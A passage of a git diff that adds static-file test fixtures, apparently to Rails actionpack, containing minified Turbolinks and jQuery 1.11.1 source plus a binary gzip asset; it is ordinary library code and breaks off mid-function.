t-e}),a=[],i=0,o=r.length;o>i;i++)n=r[i],j[n].cachedAt<=t[e]&&(X("page:expire",j[n]),a.push(delete j[n]));return a},f=function(t,n,r,i){return document.title=t,document.documentElement.replaceChild(n,document.body),null!=r&&e.update(r),i&&v(),m=window.history.state,X("page:change"),X("page:update")},v=function(){var e,t,n,r,i,o,a,s,l,u,c,d;for(o=Array.prototype.slice.call(document.body.querySelectorAll('script:not([data-turbolinks-eval="false"])')),a=0,l=o.length;l>a;a++)if(i=o[a],""===(c=i.type)||"text/javascript"===c){for(t=document.createElement("script"),d=i.attributes,s=0,u=d.length;u>s;s++)e=d[s],t.setAttribute(e.name,e.value);t.appendChild(document.createTextNode(i.innerHTML)),r=i.parentNode,n=i.nextSibling,r.removeChild(i),r.insertBefore(t,n)}},P=function(e){return e.innerHTML=e.innerHTML.replace(/<noscript[\S\s]*?<\/noscript>/gi,""),e},F=function(e){return(e=new n(e)).absolute!==q?window.history.pushState({turbolinks:!0,url:e.absolute},"",e.absolute):void 0},M=function(){var e,t;return(e=V.getResponseHeader("X-XHR-Redirected-To"))?(e=new n(e),t=e.hasNoHash()?document.location.hash:"",window.history.replaceState(m,"",e.href+t)):void 0},B=function(){return q=document.location.href},R=function(){return window.history.replaceState({turbolinks:!0,url:document.location.href},"",document.location.href)},O=function(){return m=window.history.state},_=function(e){return window.scrollTo(e.positionX,e.positionY)},W=function(){return document.location.hash?document.location.href=document.location.href:window.scrollTo(0,0)},L=function(e){var t,n;return t=(null!=(n=document.cookie.match(new RegExp(e+"=(\\w+)")))?n[1].toUpperCase():void 0)||"",document.cookie=e+"=; expires=Thu, 01-Jan-70 00:00:01 GMT; path=/",t},X=function(e,t){var n;return n=document.createEvent("Events"),t&&(n.data=t),n.initEvent(e,!0,!0),document.dispatchEvent(n)},A=function(){return!X("page:before-change")},H=function(){var e,t,n,r,i,o;return t=function(){var e;return 400<=(e=V.status)&&600>e},o=function(){return V.getResponseHeader("Content-Type").match(/^(?:text\/html|application\/xhtml\+xml|application\/xml)(?:;|$)/)},r=function(e){var t,n,r,i,o;for(i=e.head.childNodes,o=[],n=0,r=i.length;r>n;n++)t=i[n],null!=("function"==typeof t.getAttribute?t.getAttribute("data-turbolinks-track"):void 0)&&o.push(t.getAttribute("src")||t.getAttribute("href"));return o},e=function(e){var t;return S||(S=r(document)),t=r(e),t.length!==S.length||i(t,S).length!==S.length},i=function(e,t){var n,r,i,o,a;for(e.length>t.length&&(o=[t,e],e=o[0],t=o[1]),a=[],r=0,i=e.length;i>r;r++)n=e[r],Y.call(t,n)>=0&&a.push(n);return a},!t()&&o()&&(n=h(V.responseText),n&&!e(n))?n:void 0},y=function(t){var n;return n=t.querySelector("title"),[null!=n?n.textContent:void 0,P(t.body),e.get(t).token,"runScripts"]},e={get:function(e){var t;return null==e&&(e=document),{node:t=e.querySelector('meta[name="csrf-token"]'),token:null!=t&&"function"==typeof t.getAttribute?t.getAttribute("content"):void 0}},update:function(e){var t;return t=this.get(),null!=t.token&&null!=e&&t.token!==e?t.node.setAttribute("content",e):void 0}},i=function(){var e,t,n,r,i,o;t=function(e){return(new DOMParser).parseFromString(e,"text/html")},e=function(e){var t;return t=document.implementation.createHTMLDocument(""),t.documentElement.innerHTML=e,t},n=function(e){var t;return t=document.implementation.createHTMLDocument(""),t.open("replace"),t.write(e),t.close(),t};try{if(window.DOMParser)return i=t("<html><body><p>test"),t}catch(a){return r=a,i=e("<html><body><p>test"),e}finally{if(1!==(null!=i&&null!=(o=i.body)?o.childNodes.length:void 0))return n}},n=function(){function e(t){return this.original=null!=t?t:document.location.href,this.original.constructor===e?this.original:void this._parse()}return e.prototype.withoutHash=function(){return this.href.replace(this.hash,"")},e.prototype.withoutHashForIE10compatibility=function(){return this.withoutHash()},e.prototype.hasNoHash=function(){return 0===this.hash.length},e.prototype._parse=function(){var e;return(null!=this.link?this.link:this.link=document.createElement("a")).href=this.original,e=this.link,this.href=e.href,this.protocol=e.protocol,this.host=e.host,this.hostname=e.hostname,this.port=e.port,this.pathname=e.pathname,this.search=e.search,this.hash=e.hash,this.origin=[this.protocol,"//",this.hostname].join(""),0!==this.port.length&&(this.origin+=":"+this.port),this.relative=[this.pathname,this.search,this.hash].join(""),this.absolute=this.href},e}(),r=function(e){function t(e){return this.link=e,this.link.constructor===t?this.link:(this.original=this.link.href,void t.__super__.constructor.apply(this,arguments))}return K(t,e),t.HTML_EXTENSIONS=["html"],t.allowExtensions=function(){var e,n,r,i;for(n=1<=arguments.length?Q.call(arguments,0):[],r=0,i=n.length;i>r;r++)e=n[r],t.HTML_EXTENSIONS.push(e);return t.HTML_EXTENSIONS},t.prototype.shouldIgnore=function(){return this._crossOrigin()||this._anchored()||this._nonHtml()||this._optOut()||this._target()},t.prototype._crossOrigin=function(){return this.origin!==(new n).origin},t.prototype._anchored=function(){var e;return(this.hash&&this.withoutHash())===(e=new n).withoutHash()||this.href===e.href+"#"},t.prototype._nonHtml=function(){return this.pathname.match(/\.[a-z]+$/g)&&!this.pathname.match(new RegExp("\\.(?:"+t.HTML_EXTENSIONS.join("|")+")?$","g"))},t.prototype._optOut=function(){var e,t;for(t=this.link;!e&&t!==document;)e=null!=t.getAttribute("data-no-turbolink"),t=t.parentNode;return e},t.prototype._target=function(){return 0!==this.link.target.length},t}(n),t=function(){function e(e){this.event=e,this.event.defaultPrevented||(this._extractLink(),this._validForTurbolinks()&&(A()||U(this.link.href),this.event.preventDefault()))}return e.installHandlerLast=function(t){return t.defaultPrevented?void 0:(document.removeEventListener("click",e.handle,!1),document.addEventListener("click",e.handle,!1))},e.handle=function(t){return new e(t)},e.prototype._extractLink=function(){var e;for(e=this.event.target;e.parentNode&&"A"!==e.nodeName;)e=e.parentNode;return"A"===e.nodeName&&0!==e.href.length?this.link=new r(e):void 0},e.prototype._validForTurbolinks=function(){return null!=this.link&&!(this.link.shouldIgnore()||this._nonStandardClick())},e.prototype._nonStandardClick=function(){return this.event.which>1||this.event.metaKey||this.event.ctrlKey||this.event.shiftKey||this.event.altKey},e}(),u=function(e){return setTimeout(e,500)},k=function(){return document.addEventListener("DOMContentLoaded",function(){return X("page:change"),X("page:update")},!0)},N=function(){return"undefined"!=typeof jQuery?jQuery(document).on("ajaxSuccess",function(e,t){return jQuery.trim(t.responseText)?X("page:update"):void 0}):void 0},C=function(e){var t,r;return(null!=(r=e.state)?r.turbolinks:void 0)?(t=j[new n(e.state.url).absolute])?(c(),x(t)):U(e.target.location.href):void 0},E=function(){return R(),O(),h=i(),document.addEventListener("click",t.installHandlerLast,!0),u(function(){return window.addEventListener("popstate",C,!1)})},T=void 0!==window.history.state||navigator.userAgent.match(/Firefox\/2[6|7]/),s=window.history&&window.history.pushState&&window.history.replaceState&&T,o=!navigator.userAgent.match(/CriOS\//),I="GET"===(G=L("request_method"))||""===G,l=s&&o&&I,a=document.addEventListener&&document.createEvent,a&&(k(),N()),l?(U=b,E()):U=function(e){return document.location.href=e},this.Turbolinks={visit:U,pagesCached:D,enableTransitionCache:g,allowLinkExtensions:r.allowExtensions,supported:l}}.call(this),function(){}.call(this); \ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js.gz b/actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js.gz
new file mode 100644
index 0000000000..f62c656dc8
--- /dev/null
+++ b/actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js.gz
Binary files differ
diff --git a/actionpack/test/fixtures/公共/gzip/foo.zoo b/actionpack/test/fixtures/公共/gzip/foo.zoo
new file mode 100644
index 0000000000..1826a7660e
--- /dev/null
+++ b/actionpack/test/fixtures/公共/gzip/foo.zoo
@@ -0,0 +1,4 @@
+!function(e,t){"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){function n(e){var t=e.length,n=it.type(e);return"function"===n||it.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e}function r(e,t,n){if(it.isFunction(t))return it.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return it.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(ft.test(t))return it.filter(t,e,n);t=it.filter(t,e)}return it.grep(e,function(e){return it.inArray(e,t)>=0!==n})}function i(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}function o(e){var t=xt[e]={};return it.each(e.match(bt)||[],function(e,n){t[n]=!0}),t}function a(){ht.addEventListener?(ht.removeEventListener("DOMContentLoaded",s,!1),e.removeEventListener("load",s,!1)):(ht.detachEvent("onreadystatechange",s),e.detachEvent("onload",s))}function s(){(ht.addEventListener||"load"===event.type||"complete"===ht.readyState)&&(a(),it.ready())}function l(e,t,n){if(void 0===n&&1===e.nodeType){var r="data-"+t.replace(Ct,"-$1").toLowerCase();if(n=e.getAttribute(r),"string"==typeof n){try{n="true"===n?!0:"false"===n?!1:"null"===n?null:+n+""===n?+n:kt.test(n)?it.parseJSON(n):n}catch(i){}it.data(e,t,n)}else n=void 0}return n}function u(e){var t;for(t in e)if(("data"!==t||!it.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}function c(e,t,n,r){if(it.acceptData(e)){var i,o,a=it.expando,s=e.nodeType,l=s?it.cache:e,u=s?e[a]:e[a]&&a;if(u&&l[u]&&(r||l[u].data)||void 0!==n||"string"!=typeof t)return u||(u=s?e[a]=G.pop()||it.guid++:a),l[u]||(l[u]=s?{}:{toJSON:it.noop}),("object"==typeof t||"function"==typeof t)&&(r?l[u]=it.extend(l[u],t):l[u].data=it.extend(l[u].data,t)),o=l[u],r||(o.data||(o.data={}),o=o.data),void 0!==n&&(o[it.camelCase(t)]=n),"string"==typeof t?(i=o[t],null==i&&(i=o[it.camelCase(t)])):i=o,i}}function d(e,t,n){if(it.acceptData(e)){var r,i,o=e.nodeType,a=o?it.cache:e,s=o?e[it.expando]:it.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){it.isArray(t)?t=t.concat(it.map(t,it.camelCase)):t in r?t=[t]:(t=it.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;for(;i--;)delete r[t[i]];if(n?!u(r):!it.isEmptyObject(r))return}(n||(delete a[s].data,u(a[s])))&&(o?it.cleanData([e],!0):nt.deleteExpando||a!=a.window?delete a[s]:a[s]=null)}}}function f(){return!0}function p(){return!1}function h(){try{return ht.activeElement}catch(e){}}function m(e){var t=Mt.split("|"),n=e.createDocumentFragment();if(n.createElement)for(;t.length;)n.createElement(t.pop());return n}function g(e,t){var n,r,i=0,o=typeof e.getElementsByTagName!==Et?e.getElementsByTagName(t||"*"):typeof e.querySelectorAll!==Et?e.querySelectorAll(t||"*"):void 0;if(!o)for(o=[],n=e.childNodes||e;null!=(r=n[i]);i++)!t||it.nodeName(r,t)?o.push(r):it.merge(o,g(r,t));return void 0===t||t&&it.nodeName(e,t)?it.merge([e],o):o}function v(e){Dt.test(e.type)&&(e.defaultChecked=e.checked)}function y(e,t){return it.nodeName(e,"table")&&it.nodeName(11!==t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function b(e){return e.type=(null!==it.find.attr(e,"type"))+"/"+e.type,e}function x(e){var t=Vt.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function w(e,t){for(var n,r=0;null!=(n=e[r]);r++)it._data(n,"globalEval",!t||it._data(t[r],"globalEval"))}function T(e,t){if(1===t.nodeType&&it.hasData(e)){var n,r,i,o=it._data(e),a=it._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;i>r;r++)it.event.add(t,n,s[n][r])}a.data&&(a.data=it.extend({},a.data))}}function E(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!nt.noCloneEvent&&t[it.expando]){i=it._data(t);for(r in i.events)it.removeEvent(t,r,i.handle);t.removeAttribute(it.expando)}"script"===n&&t.text!==e.text?(b(t).text=e.text,x(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),nt.html5Clone&&e.innerHTML&&!it.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Dt.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}function k(t,n){var r,i=it(n.createElement(t)).appendTo(n.body),o=e.getDefaultComputedStyle&&(r=e.getDefaultComputedStyle(i[0]))?r.display:it.css(i[0],"display");return i.detach(),o}function C(e){var t=ht,n=Zt[e];return n||(n=k(e,t),"none"!==n&&n||(Qt=(Qt||it("<iframe frameborder='0' width='0' height='0'/>")).appendTo(t.documentElement),t=(Qt[0].contentWindow||Qt[0].contentDocument).document,t.write(),t.close(),n=k(e,t),Qt.detach()),Zt[e]=n),n}function N(e,t){return{get:function(){var n=e();if(null!=n)return n?void delete this.get:(this.get=t).apply(this,arguments)}}}function S(e,t){if(t in e)return t;for(var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=pn.length;i--;)if(t=pn[i]+n,t in e)return t;return r}function j(e,t){for(var n,r,i,o=[],a=0,s=e.length;s>a;a++)r=e[a],r.style&&(o[a]=it._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&jt(r)&&(o[a]=it._data(r,"olddisplay",C(r.nodeName)))):(i=jt(r),(n&&"none"!==n||!i)&&it._data(r,"olddisplay",i?n:it.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}function A(e,t,n){var r=un.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function D(e,t,n,r,i){for(var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;4>o;o+=2)"margin"===n&&(a+=it.css(e,n+St[o],!0,i)),r?("content"===n&&(a-=it.css(e,"padding"+St[o],!0,i)),"margin"!==n&&(a-=it.css(e,"border"+St[o]+"Width",!0,i))):(a+=it.css(e,"padding"+St[o],!0,i),"padding"!==n&&(a+=it.css(e,"border"+St[o]+"Width",!0,i)));return a}function L(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=en(e),a=nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=tn(e,t,o),(0>i||null==i)&&(i=e.style[t]),rn.test(i))return i;r=a&&(nt.boxSizingReliable()||i===e.style[t]),i=parseFloat(i)||0}return i+D(e,t,n||(a?"border":"content"),r,o)+"px"}function H(e,t,n,r,i){return new H.prototype.init(e,t,n,r,i)}function _(){return setTimeout(function(){hn=void 0}),hn=it.now()}function q(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2-t)n=St[i],r["margin"+n]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}function F(e,t,n){for(var r,i=(xn[t]||[]).concat(xn["*"]),o=0,a=i.length;a>o;o++)if(r=i[o].call(n,t,e))return r}function M(e,t,n){var r,i,o,a,s,l,u,c,d=this,f={},p=e.style,h=e.nodeType&&jt(e),m=it._data(e,"fxshow");n.queue||(s=it._queueHooks(e,"fx"),null==s.unqueued&&(s.unqueued=0,l=s.empty.fire,s.empty.fire=function(){s.unqueued||l()}),s.unqueued++,d.always(function(){d.always(function(){s.unqueued--,it.queue(e,"fx").length||s.empty.fire()})})),1===e.nodeType&&("height"in t||"width"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],u=it.css(e,"display"),c="none"===u?it._data(e,"olddisplay")||C(e.nodeName):u,"inline"===c&&"none"===it.css(e,"float")&&(nt.inlineBlockNeedsLayout&&"inline"!==C(e.nodeName)?p.zoom=1:p.display="inline-block")),n.overflow&&(p.overflow="hidden",nt.shrinkWrapBlocks()||d.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t)if(i=t[r],gn.exec(i)){if(delete t[r],o=o||"toggle"===i,i===(h?"hide":"show")){if("show"!==i||!m||void 0===m[r])continue;h=!0}f[r]=m&&m[r]||it.style(e,r)}else u=void 0;if(it.isEmptyObject(f))"inline"===("none"===u?C(e.nodeName):u)&&(p.display=u);else{m?"hidden"in m&&(h=m.hidden):m=it._data(e,"fxshow",{}),o&&(m.hidden=!h),h?it(e).show():d.done(function(){it(e).hide()}),d.done(function(){var t;it._removeData(e,"fxshow");for(t in f)it.style(e,t,f[t])});for(r in f)a=F(h?m[r]:0,r,d),r in m||(m[r]=a.start,h&&(a.end=a.start,a.start="width"===r||"height"===r?1:0))}}function O(e,t){var n,r,i,o,a;for(n in e)if(r=it.camelCase(n),i=t[r],o=e[n],it.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),a=it.cssHooks[r],a&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function R(e,t,n){var r,i,o=0,a=bn.length,s=it.Deferred().always(function(){delete l.elem}),l=function(){if(i)return!1;for(var t=hn||_(),n=Math.max(0,u.startTime+u.duration-t),r=n/u.duration||0,o=1-r,a=0,l=u.tweens.length;l>a;a++)u.tweens[a].run(o);return s.notifyWith(e,[u,o,n]),1>o&&l?n:(s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:it.extend({},t),opts:it.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:hn||_(),duration:n.duration,tweens:[],createTween:function(t,n){var r=it.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i)return this;for(i=!0;r>n;n++)u.tweens[n].run(1);return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),c=u.props;for(O(c,u.opts.specialEasing);a>o;o++)if(r=bn[o].call(u,e,c,u.opts))return r;return it.map(c,F,u),it.isFunction(u.opts.start)&&u.opts.start.call(e,u),it.fx.timer(it.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}function B(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(bt)||[];if(it.isFunction(n))for(;r=o[i++];)"+"===r.charAt(0)?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function P(e,t,n,r){function i(s){var l;return o[s]=!0,it.each(e[s]||[],function(e,s){var u=s(t,n,r);return"string"!=typeof u||a||o[u]?a?!(l=u):void 0:(t.dataTypes.unshift(u),i(u),!1)}),l}var o={},a=e===zn;return i(t.dataTypes[0])||!o["*"]&&i("*")}function I(e,t){var n,r,i=it.ajaxSettings.flatOptions||{};for(r in t)void 0!==t[r]&&((i[r]?e:n||(n={}))[r]=t[r]);return n&&it.extend(!0,e,n),e}function W(e,t,n){for(var r,i,o,a,s=e.contents,l=e.dataTypes;"*"===l[0];)l.shift(),void 0===i&&(i=e.mimeType||t.getResponseHeader("Content-Type"));if(i)for(a in s)if(s[a]&&s[a].test(i)){l.unshift(a);break}if(l[0]in n)o=l[0];else{for(a in n){if(!l[0]||e.converters[a+" "+l[0]]){o=a;break}r||(r=a)}o=o||r}return o?(o!==l[0]&&l.unshift(o),n[o]):void 0}function $(e,t,n,r){var i,o,a,s,l,u={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)u[a.toLowerCase()]=e.converters[a];for(o=c.shift();o;)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),l=o,o=c.shift())if("*"===o)o=l;else if("*"!==l&&l!==o){if(a=u[l+" "+o]||u["* "+o],!a)for(i in u)if(s=i.split(" "),s[1]===o&&(a=u[l+" "+s[0]]||u["* "+s[0]])){a===!0?a=u[i]:u[i]!==!0&&(o=s[0],c.unshift(s[1]));break}if(a!==!0)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(d){return{state:"parsererror",error:a?d:"No conversion from "+l+" to "+o}}}return{state:"success",data:t}}function z(e,t,n,r){var i;if(it.isArray(t))it.each(t,function(t,i){n||Gn.test(e)?r(e,i):z(e+"["+("object"==typeof i?t:"")+"]",i,n,r)});else if(n||"object"!==it.type(t))r(e,t);else for(i in t)z(e+"["+i+"]",t[i],n,r)}function X(){try{return new e.XMLHttpRequest}catch(t){}}function U(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}function V(e){return it.isWindow(e)?e:9===e.nodeType?e.defaultView||e.parentWindow:!1}var G=[],Y=G.slice,J=G.concat,K=G.push,Q=G.indexOf,Z={},et=Z.toString,tt=Z.hasOwnProperty,nt={},rt="1.11.1",it=function(e,t){return new it.fn.init(e,t)},ot=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,at=/^-ms-/,st=/-([\da-z])/gi,lt=function(e,t){return t.toUpperCase()};it.fn=it.prototype={jquery:rt,constructor:it,selector:"",length:0,toArray:function(){return Y.call(this)},get:function(e){return null!=e?0>e?this[e+this.length]:this[e]:Y.call(this)},pushStack:function(e){var t=it.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return it.each(this,e,t)},map:function(e){return this.pushStack(it.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(Y.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:K,sort:G.sort,splice:G.splice},it.extend=it.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,l=arguments.length,u=!1;for("boolean"==typeof a&&(u=a,a=arguments[s]||{},s++),"object"==typeof a||it.isFunction(a)||(a={}),s===l&&(a=this,s--);l>s;s++)if(null!=(i=arguments[s]))for(r in i)e=a[r],n=i[r],a!==n&&(u&&n&&(it.isPlainObject(n)||(t=it.isArray(n)))?(t?(t=!1,o=e&&it.isArray(e)?e:[]):o=e&&it.isPlainObject(e)?e:{},a[r]=it.extend(u,o,n)):void 0!==n&&(a[r]=n));return a},it.extend({expando:"jQuery"+(rt+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isFunction:function(e){return"function"===it.type(e)},isArray:Array.isArray||function(e){return"array"===it.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!it.isArray(e)&&e-parseFloat(e)>=0},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},isPlainObject:function(e){var t;if(!e||"object"!==it.type(e)||e.nodeType||it.isWindow(e))return!1;try{if(e.constructor&&!tt.call(e,"constructor")&&!tt.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}if(nt.ownLast)for(t in e)return tt.call(e,t);for(t in e);return void 0===t||tt.call(e,t)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?Z[et.call(e)]||"object":typeof e},globalEval:function(t){t&&it.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(at,"ms-").replace(st,lt)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,r){var i,o=0,a=e.length,s=n(e);if(r){if(s)for(;a>o&&(i=t.apply(e[o],r),i!==!1);o++);else for(o in e)if(i=t.apply(e[o],r),i===!1)break}else if(s)for(;a>o&&(i=t.call(e[o],o,e[o]),i!==!1);o++);else for(o in e)if(i=t.call(e[o],o,e[o]),i===!1)break;return e},trim:function(e){return null==e?"":(e+"").replace(ot,"")},makeArray:function(e,t){var r=t||[];return null!=e&&(n(Object(e))?it.merge(r,"string"==typeof e?[e]:e):K.call(r,e)),r},inArray:function(e,t,n){var r;if(t){if(Q)return Q.call(t,e,n);for(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;n>r;)e[i++]=t[r++];if(n!==n)for(;void 0!==t[r];)e[i++]=t[r++];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;a>o;o++)r=!t(e[o],o),r!==s&&i.push(e[o]);return i},map:function(e,t,r){var i,o=0,a=e.length,s=n(e),l=[];if(s)for(;a>o;o++)i=t(e[o],o,r),null!=i&&l.push(i);else for(o in e)i=t(e[o],o,r),null!=i&&l.push(i);return J.apply([],l)},guid:1,proxy:function(e,t){var n,r,i;return"string"==typeof t&&(i=e[t],t=e,e=i),it.isFunction(e)?(n=Y.call(arguments,2),r=function(){return e.apply(t||this,n.concat(Y.call(arguments)))},r.guid=e.guid=e.guid||it.guid++,r):void 0},now:function(){return+new Date},support:nt}),it.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){Z["[object "+t+"]"]=t.toLowerCase()});var ut=function(e){function t(e,t,n,r){var i,o,a,s,l,u,d,p,h,m;if((t?t.ownerDocument||t:P)!==H&&L(t),t=t||H,n=n||[],!e||"string"!=typeof e)return n;if(1!==(s=t.nodeType)&&9!==s)return[];if(q&&!r){if(i=yt.exec(e))if(a=i[1]){if(9===s){if(o=t.getElementById(a),!o||!o.parentNode)return n;if(o.id===a)return n.push(o),n}else if(t.ownerDocument&&(o=t.ownerDocument.getElementById(a))&&R(t,o)&&o.id===a)return n.push(o),n}else{if(i[2])return Z.apply(n,t.getElementsByTagName(e)),n;if((a=i[3])&&w.getElementsByClassName&&t.getElementsByClassName)return Z.apply(n,t.getElementsByClassName(a)),n}if(w.qsa&&(!F||!F.test(e))){if(p=d=B,h=t,m=9===s&&e,1===s&&"object"!==t.nodeName.toLowerCase()){for(u=C(e),(d=t.getAttribute("id"))?p=d.replace(xt,"\\$&"):t.setAttribute("id",p),p="[id='"+p+"'] ",l=u.length;l--;)u[l]=p+f(u[l]);h=bt.test(e)&&c(t.parentNode)||t,m=u.join(",")}if(m)try{return Z.apply(n,h.querySelectorAll(m)),n}catch(g){}finally{d||t.removeAttribute("id")}}}return S(e.replace(lt,"$1"),t,n,r)}function n(){function e(n,r){return t.push(n+" ")>T.cacheLength&&delete e[t.shift()],e[n+" "]=r}var t=[];return e}function r(e){return e[B]=!0,e}function i(e){var t=H.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function o(e,t){for(var n=e.split("|"),r=e.length;r--;)T.attrHandle[n[r]]=t}function a(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||G)-(~e.sourceIndex||G);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function s(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function l(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function u(e){return r(function(t){return t=+t,r(function(n,r){for(var i,o=e([],n.length,t),a=o.length;a--;)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function c(e){return e&&typeof e.getElementsByTagName!==V&&e}function d(){}function f(e){for(var t=0,n=e.length,r="";n>t;t++)r+=e[t].value;return r}function p(e,t,n){var r=t.dir,i=n&&"parentNode"===r,o=W++;return t.first?function(t,n,o){for(;t=t[r];)if(1===t.nodeType||i)return e(t,n,o)}:function(t,n,a){var s,l,u=[I,o];if(a){for(;t=t[r];)if((1===t.nodeType||i)&&e(t,n,a))return!0}else for(;t=t[r];)if(1===t.nodeType||i){if(l=t[B]||(t[B]={}),(s=l[r])&&s[0]===I&&s[1]===o)return u[2]=s[2];if(l[r]=u,u[2]=e(t,n,a))return!0}}}function h(e){return e.length>1?function(t,n,r){for(var i=e.length;i--;)if(!e[i](t,n,r))return!1;return!0}:e[0]}function m(e,n,r){for(var i=0,o=n.length;o>i;i++)t(e,n[i],r);return r}function g(e,t,n,r,i){for(var o,a=[],s=0,l=e.length,u=null!=t;l>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),u&&t.push(s));return a}function v(e,t,n,i,o,a){return i&&!i[B]&&(i=v(i)),o&&!o[B]&&(o=v(o,a)),r(function(r,a,s,l){var u,c,d,f=[],p=[],h=a.length,v=r||m(t||"*",s.nodeType?[s]:s,[]),y=!e||!r&&t?v:g(v,f,e,s,l),b=n?o||(r?e:h||i)?[]:a:y;if(n&&n(y,b,s,l),i)for(u=g(b,p),i(u,[],s,l),c=u.length;c--;)(d=u[c])&&(b[p[c]]=!(y[p[c]]=d));if(r){if(o||e){if(o){for(u=[],c=b.length;c--;)(d=b[c])&&u.push(y[c]=d);o(null,b=[],u,l)}for(c=b.length;c--;)(d=b[c])&&(u=o?tt.call(r,d):f[c])>-1&&(r[u]=!(a[u]=d))}}else b=g(b===a?b.splice(h,b.length):b),o?o(null,a,b,l):Z.apply(a,b)})}function y(e){for(var t,n,r,i=e.length,o=T.relative[e[0].type],a=o||T.relative[" "],s=o?1:0,l=p(function(e){return e===t},a,!0),u=p(function(e){return 